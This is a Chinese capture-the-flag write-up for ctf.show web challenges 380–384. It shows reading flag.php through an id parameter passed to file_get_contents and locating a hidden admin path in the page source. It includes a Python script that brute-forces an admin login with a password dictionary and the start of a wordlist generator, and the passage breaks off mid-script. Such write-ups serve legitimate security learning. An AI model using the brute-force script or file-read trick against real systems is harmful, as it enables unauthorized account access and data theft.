文章目录
写在前面
一直没搞过渗透,先学学黑盒测试吧
web380
进入题目发现是一个关于灯泡的悲伤故事,点进去,看到跳转到page_1.php页面。
我们访问page.php试试:
发现报错:$id.php,可以猜想需要传名称为id的参数,来访问id.php。我们访问page.php?id=1试试:
这样就很明了了,使用file_get_contents函数来获取$id.php的内容,之前扫描了一下,flag.php的返回码为200,我们输入payload:
题目链接/page.php?id=flag
右键查看源码即可得到flag。
web381
有一个隐藏的后台,通过看源码发现异样:
访问即可:
题目链接/alsckdfy/
web382
同样查看源码得到alsckdfy,我们访问:
题目链接/alsckdfy/
显示一个登录界面:
一般需要以admin的身份,密码随便输一个,发现会跳转到check.php,并显示error:
因为参数的名称分别为u和p,我们可以用requests库爆破密码:
import requests
url = 'http://320649ae-de72-460e-8ecc-af6a66a5edd0.challenge.ctf.show:8080/alsckdfy/check.php'
p = ''
path = "dic.txt"
with open(path, encoding='utf-8') as f:
for line in f:
p = line.strip()
headers = {
'Cookie':'UM_distinctid=17c25d0927949f-0eabf435f81bf5-a7d173c-144000-17c25d0927adb5',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36',
}
data = {
'p':p,
'u':'admin',
}
res = requests.post(url=url, headers=headers, data=data, proxies=None)
if 'error' in res.text:
print(p + ' failed....')
continue
else:
print(p)
break
字典用的是常用admin密码字典,网上都可以搜到,爆破得到结果:
输入用户名和密码即可得到flag。
web383
同web382
web384
还是登陆界面,不过这次的密码前两位为小写字母,后三位为数字,我们用如下字典生成脚本生成字典:
LENGTH = 5 # 密码最大长度
charLength = 2 # 字母最大长度
char = 'qwertyuiopasdfghjklzxcvbnm'